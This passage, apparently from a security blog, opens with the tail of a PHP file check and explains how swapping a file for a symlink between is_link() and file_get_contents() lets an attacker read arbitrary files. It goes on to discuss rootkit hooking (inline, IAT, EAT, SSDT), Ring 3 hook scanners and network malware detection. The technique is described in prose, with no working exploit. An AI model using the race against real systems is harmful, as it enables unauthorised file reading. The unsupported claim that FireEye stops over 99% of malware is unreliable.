echo'Access denied';
returnfalse;
}
}

In real world attacker change above file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files.

Hooked with inline, IAT or EAT hooks

Reference: System Service Descriptor Table (SSDT) is an internal dispatch table within Microsoft Windows. Hooking SSDT calls is often used as a technique in both Windows rootkits and antivirus software.

Why Anti-viruses not check the library modules of exe to detect hook?

Avoid false positive mainly! Antivirus detect the (SetWindowsHookEx) API call is not sufficient since it is also used by many authorized applications. For instance the fundamental design of hooking calls such as SetWindowsHookEx is for debugging.

Security expert know the weakness of anti virus program and therefore develop additional scan tool. Yes, it is a Ring 3 hook scanner. The scanner can do the following functions.

(Ring3) Scan every running process:

(Ring3) Scan only the running process with PID

To be honest, IT guy might feel that malware running on Ring 3 is easy to figure out compare with Ring 1 and Ring 0. But properly not.

Conclusion:

As of today, it is hard to judge behavior base malware detection method is outdated. We known that malware detector especially FireEye can arrest over 99% of malware. The reason is that the detective control of Fire-eye looks great. The device stand parallel with layer 3 core switch. The gateway type infrastructure which enhance the detection level of malware activities. It is because malware require communicate with C&C server.

Next topic we discuss Ring 1 and Ring 0 concept. Stay tuned.

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